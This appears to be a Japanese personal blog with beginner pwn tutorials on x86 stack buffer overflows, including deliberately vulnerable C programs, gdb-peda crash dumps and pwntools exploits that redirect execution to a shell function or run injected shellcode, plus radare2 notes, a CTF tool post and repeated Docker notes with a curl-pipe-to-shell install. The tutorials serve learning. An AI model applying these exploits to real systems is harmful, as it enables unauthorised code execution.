2017-12-07

pwn基礎バッファオーバーフロー3

pwn

前回の続き。

今度は関数を呼び出すのではなく自分で実行するべき命令を用意し、バッファオーバーフローを利用してその命令を実行する。使ってるコードはココ。

crackme

攻撃対象のコードはこれ。

// sudo sysctl -w kernel.randomize_va_space=0

#include <stdio.h>
#include <string.h>

void vuln_func(char** argv) {
  char buf[100] = {};  /* set all bytes to zero */
  
  printf("buf = %p\n", buf);
  strcpy(buf, argv[1]);
  puts(buf);
  
  return;
}

int main(int argc, char *argv[])
{
  vuln_func(argv);

  return 0;
}

コンパイルはgcc -m32 -z execstack -fno-stack-protector -o overflow overflow.c

実行時に渡される引数をバッファにコピーして表示するプログラム。解析する手間を省くため、バッファのアドレスを表示するようにしている。 ASLRなし、スタック実行可能なイージーモードでやる。

知っておくべきこと

マシンコード

マシンコードとは、コンピュータに命令することができる、あるいはするためのバイト列。この世に存在する全てのプログラムは最終的にマシンコードとしてプロセッサによって実行される(はず)。 0と1の世界、コンパイルした実行ファイルの中身。

アーキテクチャによってどんなマシンコードなのかは違うので、x64をARMで実行したりは基本的にはできない。とりあえずコンピュータによって直接実行されるのはマシンコードであるということを知っていれば十分だと思う。

pwnでプログラムを解析するときはマシンコードを逆アセンブルして、アセンブリコードを読むことになる。アセンブリコードはマシンコードとおよそ一対一で対応している、人間の読める言葉で表現された命令だといえる。 pwnでは大抵はx86かx64のプログラムが降ってくるので、とりあえずx86系について分かるようになれば大半の問題に取り組むことができるようになる。大量にある命令を全部知っておく必要はなく、頻出のいくつかの命令だけを憶えておいて、知らない命令はその都度検索するぐらいで十分である。どちらかというと慣れの方が大事な気がする。逆アセンブルには、radare2とかIDAとかobjdumpとかのツールが有名。 IDAは金払わないとx64の解析ができないけど、この中で一番性能がいいんじゃないかな。

shellcode

これまでバッファオーバーフローでeipを書き換えたりメモリ上の値を変えたりしてきた。今回はマシンコードの命令を直接送りこみ、それを実行させて、シェルを起動する。このようなシェルを起動するようなデータ列のことをシェルコードとよぶ。実際は、脆弱性を突いて何か処理をさせる目的で送りこむデータ列のことを(シェルを起動させなくても)シェルコードといったりする。

exploit

exploitはこんな感じ。

# no ASLR
# no canary

from pwn import *

context(arch='i386', os='linux')

buf_addr = 0xffffcb9c # buf addr
offset = 112
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += "A" * (offset - len(shellcode))
payload += p32(buf_addr)

print(payload)

ここではシェルコードを書くことよりも実際に送信したデータを実行できることが分かればいいかなと思って、pwntoolsに収録されてるシェルを起動するシェルコードをそのまま使わせてもらった。 shellcraft.sh()'は文字列なので、どのような命令なのか知りたければ出力すれば見れる。asm()`でアセンブルして、文字列の先頭に配置している。リターンアドレスを書き換えるオフセットは前回の要領で、バッファのアドレスは一度実行してみて調べよう。コマンドライン引数はスタックの最初の方で積まれるため、引数として渡す文字列の長さによって変わるので注意。これでシェルを起動できる。

2017-12-03

pwn基礎バッファオーバーフロー2

pwn

前回の続き。

折角なので使っているコードとかをリポジトリにまとめておく。

サンプルコード

攻撃対象にするコード。

#include <stdio.h>
#include <unistd.h>

void shell() {
  char* args[] = {"/bin/sh", NULL};
  execve("/bin/sh", args,  NULL);
}

void echo() {
  char buf[0x100];

  fgets(buf, 0x200, stdin);

  puts(buf);

  return;
}

int main(int argc, char** argv){
  while(1) {
    echo();
  }
  ``
  return 0;
}

gcc -Wformat-security -fno-stack-protector -m32 -o overflow overflow.cでビルドしたものを使う。

今回はバッファオーバーフローの脆弱性を利用して、プログラム内の関数、shell()を呼び出してみる。

手順

脆弱性の発見

簡単なコードなのでぱっと見で分かると思うが、echo関数内のfgetsでバッファオーバーフローしている。 0x200文字の文字列を入力するとプログラムがSIGSEGVで落ちる。このときどんな状態になっているかをgdb-pedaで確認してみる。 gdb overflowで普通にgdbを起動する。文字列を入力するときは、pattc 0x200と入力すると0x200文字の文字列を自動的に生成してくれる。 runかrでプログラムを実行し、さきほど生成した文字列を入力してみる。

[----------------------------------registers-----------------------------------]
EAX: 0x200 
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa5870 --> 0x0 
ESI: 0xf7fa4000 --> 0x1b1db0 
EDI: 0xf7fa4000 --> 0x1b1db0 
EBP: 0x64254148 ('HA%d')
ESP: 0xffffcb30 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
EIP: 0x41332541 ('A%3A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41332541
[------------------------------------stack-------------------------------------]
0000| 0xffffcb30 ("%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3"...)
0004| 0xffffcb34 ("eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA"...)
0008| 0xffffcb38 ("A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs"...)
0012| 0xffffcb3c ("%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJ"...)
0016| 0xffffcb40 ("5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA"...)
0020| 0xffffcb44 ("A%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5As"...)
0024| 0xffffcb48 ("%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsg"...)
0028| 0xffffcb4c ("LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 in ?? ()

こんな感じになる、予想通りではあるがSIGSEGVで落ちている。注目するべきはeip、またはcodeセクションで表示されているメッセージである。 $PCまたはeipが指している値が不正なものになってしまったことがSIGSEGVの原因らしいことがメッセージから読み取れる。

eipの値が文字列として表示されているので気付いたと思うが、これは入力した文字列の一部である。そして、eipは次に実行する命令へのポインタを意味するので、これは次に実行する命令の位置をこっちが好きなように指定できるということになる。入力した文字列が本来のバッファのサイズを越えてリターンアドレスを書き換えてしまったので、echo関数からreturnするときにこのような不正な値になってしまったのである。

では、具体的に文字列のどのあたりがリターンアドレスに対応するのか? 文字列を少しずつ変化させてみていってもいいが、ここではpattoが使える。 patto A%3Aもしくはpatto 0x41332541で対応するオフセットが表示される。ここでは268だった。つまり、268文字目から4バイト分(32bit環境ではアドレスの長さ)がリターンアドレスとして設定される。あとはここにshell関数の位置を設定してやればshell関数を呼び出せる。

アドレスの調査

では、shell関数のアドレスはどこになるのだろうか? PIEと呼ばれる防御機構があると実行されるコードの位置もランダムになるのだが、今回は無効になっているので、コードは全て固定されたアドレスに配置されている。また、プログラムがstripされていなければシンボルの名前の情報は残っている。今回は残っているという前提で、gdbでp shellして得たアドレスを使う。

exploitの作成

pwntoolsを使う。みんな使ってるので使う。

from pwn import *

trg = ELF('overflow')
retaddr = trg.symbols['shell']
offset = 268

payload = 'A' * offset
payload += p32(retaddr)

p = process('overflow')
p.sendline(payload)
p.interactive()

ここではpwntoolsの解析機能からshell関数のアドレスを取得している(trg.symbols['shell'])が、gdbから得た値を直接入れても構わない。 payloadが送信するデータになる。まず最初にA268文字で先頭を埋め、リターンアドレスの位置にshell関数のアドレスを入れる。大抵の環境ではリトルエンディアンにして数値を入れる必要があるので注意、といってもpwntoolsには自動でそれをやってくれるp32関数があるのでそれを使おう。 processでプログラムを実行し、送信、そしてシェルを起動する、という流れになる。

実行はpython exploit.pyでいい。

まとめ

たまにセキュリティ関連のニュースで任意のコードを実行可能な脆弱性とかでてくるけど、つまりはこんな感じにプログラムの制御を奪えるということなのである。

2017-11-28

Radare2 メモ

rev

控え目に言ってコマンドが分かりにくいandリファレンスが足りてないので自分用にメモ。

afvn old_name new_name @ func

func内のold_nameをnew_nameに変える。デフォルトだとlocal_4hとかarg_4hとかになっているのでよほど短いコードか抜群の記憶力がないと動作を把握できないので解明は積極的にした方がいいと思う。

afn new_name old_name

関数の名前を変える。何故か変数とは古い名前と新しい名前の順番が入れかわっているので混乱しがち。その上変更に失敗してもエラーメッセージが表示されない(表示する機能ないんだろうか?)ので気づきにくい。同じような機能で違うパターンを使うのは良くないUIだと思うんだけど、理由があるんだろうか?

f name = addr

アドレスにラベルを付ける。調べてもさっぱりやり方がさっぱり分からなかったけど、ツイッターで凄い人達が言ってたのを見てようやく知った機能。 nameをobj.nameのようにピリオド区切りにしないと、そのアドレスを参照している箇所でラベルが反映されないので注意。引数の値によって動作変えるのいくない。

Ps name

今解析しているプログラムの解析結果を保存する。ラベルとか関数に付けた名前とかが保存される。長すぎる関数は保存してロードしたときに壊れる可能性がある。極力使わない方がいいかもしれないが代替案もない。

ロードしたときに関数の境界がおかしくなったときの解決策

afu end_addr @ function_addrで関数の終端を指定できる。 pdコマンドで終端を目で探してから、end_addrでretの次のアドレスを指定しないとend_addr自体は含まれない。

Po name

保存した解析結果をロードする。 r2コマンドの引数にnameを指定するとロードして起動するので、こっちの方を使うことが多いかもしれない。

r2 -p name

関数として解析したいとき

afr func_name address

これでaddressの位置から関数として解析できる。 afvaで自動的に引数の解析をしてくれる。 afv系のコマンドで操作できるらしいが、思い通りに動かない。

2017-11-28

pwn基礎バッファオーバーフロー1

pwn

自分自身の理解を深めるために、また後でまぬけにも分からなくなったときに参照できるようにするために、基本事項についてまとめておこう。もしかしたら間違っているところ教えてもらえるかもしれない。

pwn バッファオーバフローを使った攻撃

x86を想定する。他のアーキテクチャだと話が変わってくるかもしれない。 pwnでもっとも基本的な攻撃だと思われるバッファオーバーフローについてのメモ。

必要な知識

バッファオーバーフローがどのようにして発生し、どのようにして攻撃に利用するかを理解するために必要な知識。

関数呼び出しによるスタックの変化

関数呼び出しが行なわれると様々なお決まりの処理が行なわれる。その中でも値がどのようにスタックに積まれるかは、様々なexploitで使える知識である。スタックは下位の方向に積まれることに注意。例えば、push命令が実行されるとespの値は減る、スタックの位置を戻すときはespに加算されることになる。

参考までに関数呼び出しされた直後に実行される命令は以下のような感じになる。この例ではcanaryはなし。

 80484c4:    e8 92 ff ff ff         call   804845b <vuln> ; 1

0804845b <vuln>:
 804845b: 55                     push   ebp ; 2
 804845c: 89 e5                   mov    ebp,esp ; set current stack top to ebp.
 804845e: 81 ec 18 01 00 00       sub    esp,0x118 ; 4
 ...

以下の順番で値が積まれる。

call命令の次の命令があるアドレスをスタックに積む、いわゆるリターンアドレス
その時点でのebpをスタックに積む
canaryを設定する、これがある場合バッファオーバフローが検出される
ローカル変数があるなら、ここにそのための領域を確保する

スタックはこのような状態になる。

stack
4 (local var)
3 (canary)
2 ebp
1 return addr

()付きのものは場合によっては無いときもあるもの。

ebpを積むのは、関数を抜けるときに値を復元するためである。どの時点で関数が呼ばれても引数やローカル変数に対して同じ命令、レジスタでアクセスできるように、ベースポインタを現在のスタックトップに設定する必要があるのでebpは変更される。

canaryを積むのは、バッファオーバーフローによる不正なスタックの書き換えを検出するためである。大抵の場合乱数が使われ、先頭がNULLバイトになるようになっている。 canaryを書き換えてしまうと、バッファオーバーフローが検出され書き換えたリターンアドレスを実行させることができなくなる。そのためcanaryがある場合にバッファオーバーフローさせるには、canaryの値を上書きしないように同じ値を書き込むようにしなければならない。 forkしたりしてもcanaryの値は同じままなので、そのような場合には一度canaryをリークさせてから再びその値を用いてオーバーフローさせることもできる。

関数からのreturn

関数からリターンするときの処理について。大抵一番最後にleave; retの命令が出現する。参考までに実際の命令。

 80484b1:    c9                       leave
 80484b2: c3                       ret

leave命令はespをebpに設定し、popしてebpに設定する。つまりmov esp, ebp; pop ebpと等価である。 ebpは一番最初に設定したcall時のespになっている。そしてそれは元のebpが格納されている位置を指している。前の図でいうと2 ebpを指していることになる。つまり、ebpを復元していることになる。またpopしたことでespはひとつ戻り、リターンアドレスの位置を指すようになる。

ret命令は細かい仕様が色々あるけど、通常はpop eipと同じだと思っていい。つまり、現在のスタックトップに格納されている値の位置に命令カウンタを動かすという理解で十分である。正しく実行されたならば、この時点でespはリターンアドレスを指しているため、関数呼び出しの次の命令がeipにセットされる。そしてpopが実行されたことでespも復元される。

ちなみに返り値はたいていの場合eaxにセットされている。ただし、これはコンパイラの生成するコードに依存するため、場合によっては違うレジスタを介して返り値を返したりしているバイナリもあるかもしれない。

バッファへの書き込み

C言語などでは、入力を受けとるときにfgetsを使うことができる。宣言はman見た限りこんな感じ。

fgets(char* s, int size, FILE* stream);

動作としてはsにsizeバイトだけstreamから読み込むといった感じになる。ここで一つ大きな問題がある。fgetsはsの大きさがsizeより小さいかどうかをチェックしないのである。(検出するツールなどは存在するらしい) では、sより大きなsizeを引数に渡すとどうなるのか? 答えは、単純に大きさを無視してメモリ上に書き込んでいくのである。

これで必要な知識は全て揃っているはず。

バッファオーバーフロー

書き換えの範囲

これで、fgetsなどでバッファのサイズをきちんと管理してないとバッファの大きさを無視してメモリに書き込んでしまうということが分かった。このバッファがローカル変数の固定配列として宣言されていると考えてみよう。このとき、スタックの4の位置にバッファが存在していることになる。バッファに対する書き込みは低位から高位に向かって行なわれるため、図でいうところの下の方向に向かって書き込まれていくことになる。これらのことを統合して考えると、バッファのサイズより書き込めるサイズが十分に大きいとき3、2、1全ての位置に任意の値を書き込めるということが分かる。ただし、canaryは書き換えて違う値にしてしまうとバッファオーバーフローとして検知される。

また、単にバッファより先に確保された変数についても書き換えが可能である。

書き換えの範囲にある値

さらにここで、1が書き換え可能であるということを掘り下げる。といっても単純なことで、リターンアドレスは関数から返った後に実行される命令の位置なので、リターンアドレスを書き換えられると任意の位置の命令を実行させられるよね?ということである。

これがいわゆる典型的なバッファオーバーフロー攻撃である。

デモ

簡単なオーバフローによる書き換えのデモ。ここでは、オーバーフローによって関数内で定義されたローカル変数を変更することができるを試してみる。 bofの脆弱性を含ませたコードは以下。

#include <stdio.h>

void vuln() {
  int flag = 0;
  char buf[256];

  fgets(buf, 300, stdin); // vulnerability here, you can write 300 chars to 256 len buffer.

  if (flag == 0) {
    printf("Failed!\n");
  } else {
    printf("You won FLAG!\n");
  }
}

int main(int argc, char** argv){
  vuln();
  return 0;
}

コンパイルするにはgcc -m32 -fno-stack-protector overflow.c -o overflow これで、x86のcanaryなしのバイナリがコンパイルされる。

main関数から一度呼び出しを挟んでいるのは、main関数だけ変なバリデーションのようなコードが生成されて上手くいかないときがあるので、それを避けるためで意味はないです。 vuln関数では、最初にflag = 0されているので、"Failed!"が表示されるはず。しかし、バッファオーバーフローさせることでflagの値を書き換えることができるので、if文の分岐を変更させられる。 300文字のAとかを入力すれば、"You won FLAG!”が表示され、成功するはず。これで、実際にバッファ配列とは無関係な値を変更し、プログラムの挙動を意図していないものに変更させられることが確認できると思う。

2017-11-13

CBCTF2017の供養

ctf

参加したけど1問しか解けてない。 writeup書いても仕方ないような問題(Common modulus1)なので他の人に任せよう。なので解くのに使った自分のスクリプト紹介をする。 lispで書いているのでroswellとemacsとslimeがあれば基本動く。 sbclしか想定していないけど、それ以外でも動くかもしれない。

ここにある。

基本的には暗号系の問題を解くのに使っている。 lispで書いていて、いくつかはquicklispのlocal-projectsに入れるなりリンク張るなりすれば簡単にロードできるようになる。今回はrsaの中のhackrsaを使った。いまのところ、common modulus attackとwiener attackはまともに動くはず。今回の問題では計算に時間がかかり過ぎて解けなかったので、改善してあるのでそこそこ使えるはずだと思う。

基本的にはあちこちにpython スクリプトがあるのでわざわざlispを憶えてまでこれを使う必要はない気がするが...

利点としては、組み込みで分数があり多倍長整数を扱えるため整数の演算では精度は落ちないこと、REPLでの評価がインデント崩れると死ぬpythonよりやりやすい気がすること、sbclならデフォルトでGMP、MPFRを使えたこと(終わってから気付いた)だろうか。あと、コンパイルしたり型を指定してチェックしないようにしたりもできるので、pythonより高速に動かせる(とはいえ、速度が必要な場面でpythonは使わない気もするが)。

ここで紹介したし、もう少し使いやすくしようかな。READMEとか書いてテストも書いて。

2017-10-28

Dockerまとめ

環境はCentOS7のはず。

インストール方法

curl -fsSL get.docker.com -o get-docker.sh
sh ./get-docker.sh

あるいは単にcurl -fsSL get.docker.com | shでもいいかもしれない。

Dockerの起動

systemctl start docker

Dockerの状態を確認するにはsystemctl status docker

サーバ起動時にDockerも起動する場合は systemctl enable docker

使い方

基本的にはgitやlinuxのコマンドを踏襲した名前のサブコマンドを使って管理する。例えば、imageの一覧はdocker image lsのような感じになる。

コンテナの動かし方

イメージとコンテナがある。イメージはコンテナの設計図のようなもので、何をインストールしてどのコマンドを実行するべきかなどの情報を持っているらしい。一方コンテナは実際に稼動しているサービスのファイルシステムのようである。イメージに従いコンテナを作りあげ、Dockerはそのコンテナの中でサービスを動かすといったような感じだろうか？実際のコマンドは以下のような感じになる。

docker container run hello-world

hello-worldというのはリポジトリにある、Helloと表示するだけのDockerイメージである。これを使ってDockerが使えるかどうか試せる。他のイメージでもだいたい同じようにして動かせる。

Dockerではコンテナの実行が終了するとそのコンテナを破棄するらしい(実際はしばらくの間/var以下にあるっぽい)。なので、データを保存したり次の実行時に使う場合には-vを使って共有する領域に書き出すようにするなどの工夫が必要になる。

イメージのダウンロード

どこかが用意したリポジトリから既に設定されたイメージを使うことができる。基本的に動かそうとしたときにローカルにないなら自動的にダウンロードされることになる。

Dockerイメージの作り方

docker container commit
コンテナから作る方法、知らない
docker image build
Dockerfileから作る方法、教わった

Dockerfileはこんな感じになった。 FROMには元となるイメージ、このイメージの上に新しい皮を被せていく感じで構成していくことになる。 RUNはコンテナを構成するときに実行するコマンド、ソフトウェアのインストールとか。 CMDはコンテナとして実行されたときにデフォルトで実行するコマンド、hello-worldと自動で表示されたのはこれによるものだと思われる。

FROM base image
RUN running-command(like apt install something)
CMD defalut-running-command

ビルドするには以下のようにする。

docker image bulid -t image-name path"

dockerhubへのログイン

githubのようなサービスとして、イメージを共有できるdockerhubがある。ログインしておくとイメージのアップロード、ダウンロードができるようになる。ログインからアップロードまでの流れ。

docker login
docker image tag image-name:tag <user-name>/image-name:latest
docker image push <user-name>/image-name
docker logout

まとめ

後でもっと詳しく書く。ほかにもいくつかのイメージをまとめたものをまとめて扱うといったようなこともできる。

2017-10-28

Dockerまとめ

環境はCentOS7のはず。

インストール方法

# curl -fsSL get.docker.com -o get-docker.sh
# sh ./get-docker.sh

あるいは単にcurl -fsSL get.docker.com | shでもいいかもしれない。

Dockerの起動

# systemctl start docker

Dockerの状態を確認するには# systemctl status docker

サーバ起動時にDockerも起動する場合は systemctl enable docker

使い方

基本的にはgitやlinuxのコマンドを踏襲した名前のサブコマンドを使って管理する。例えば、imageの一覧はdocker image lsのような感じになる。

コンテナの動かし方

# docker container run hello-world

イメージのダウンロード

Dockerイメージの作り方

+ docker container commit

docker image build

FROM base image
RUN running-command(like apt install something)
CMD defalut-running-command

docker image bulid -t image-name path"

dockerhub login docker login docker image tag image-name:tag <user-name>/mywhale:latest make space for container docker image push <user-name>/mywhale docker logout

nginx docker image pull nginx:alpine docker contianer run -d nginx:alpine -d is detach-mode

docker container run -d -P nginx:alpine -P is port mapping docker container run -d -p 8080:80 nginx:alpine host 8080 -> docker 80

docker network inspect bridge | less

network setting docker network create --driver bridge --subnet 192.168.10.0/24 --gateway 192.168.10.1 mynet

run docker run -it alpine /bin/sh -i accept stdin -t pseudo-tty --net network-name

make volume docker volume create myvolune docker run -it -v myvolume:/data alpine /bin/sh -v volume, this can mount local-directory

swarm

ps auxfw [0] tkgsy@tkgsy-HP-Pr0B00k ~/m/s/docker ➞